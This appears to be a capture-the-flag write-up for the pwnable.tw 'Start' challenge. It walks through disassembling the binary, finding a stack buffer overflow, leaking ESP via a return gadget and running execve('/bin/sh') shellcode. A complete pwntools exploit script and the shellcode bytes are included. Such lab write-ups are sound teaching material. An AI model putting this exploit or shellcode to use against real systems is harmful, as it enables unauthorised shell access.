Start [100 pts]
Just a start.

nc chall.pwnable.tw 10000

First, we check file info:

Capture.PNG

It’s a .elf file (I only use it for open IDA correctly). Now we should open disassembler like IDA Pro.

assembly.PNG

We have two funcion: _start and _exit. As you can see, it firsts push esp, and push address _exit fuction, then push 5 times hex numbers. If you look closer by convert it to string, that’s the string “Let’s start the CTF:” at the beginning of the program.

int 80 is a system call in Linux, you can read it more at here. It depends on the number before to make a move. E.g: the number before first instruction int 80 at 0804808F is 4, it means sys_write; the number before the second is 3, it is sys_read.

The program lets you type 60 bytes, but it only accepts 20 bytes. Therefore, you can see maybe it has buffer overflow here.

First payload I use buffer overflow to make it returns to ROP gadget (0x08048087).

Note: Payload 1: “aaaaaaaaaaaaaaaaaaaa\x87\x80\x04\x08”

And then it will print out esp address in stack. Having that address, I can put the shellcode into that. When comes the retn; instruction, ESP is pointing to address has 0x08048087, so next EIP is 0x08048087.

[About shellcode] You can find shellcode at here. For me, I use this.

Note: Payload 2: ‘A’ * 20 + p32(esp_add + 20) + shellcode

If you are wondering why in payload (maybe only me, so sad) esp_add + 20, it’s because that where shellcode is. Why is 20? The program will do this instruction: add esp 14h.

Source code for pwn: Run it with python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

  conn = remote("chall.pwnable.tw", 10000)
  conn.recv(20)

  shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

  payload = 'A'* 20 + p32(0x08048087)
  conn.send(payload)
  esp_add = conn.recv(20)

  esp_add = u32(esp_add[0:4])

  payload = 'A' * 20 + p32(esp_add + 20) + shellcode
  conn.send(payload)

  conn.interactive()
  conn.close()

Tesing Box Success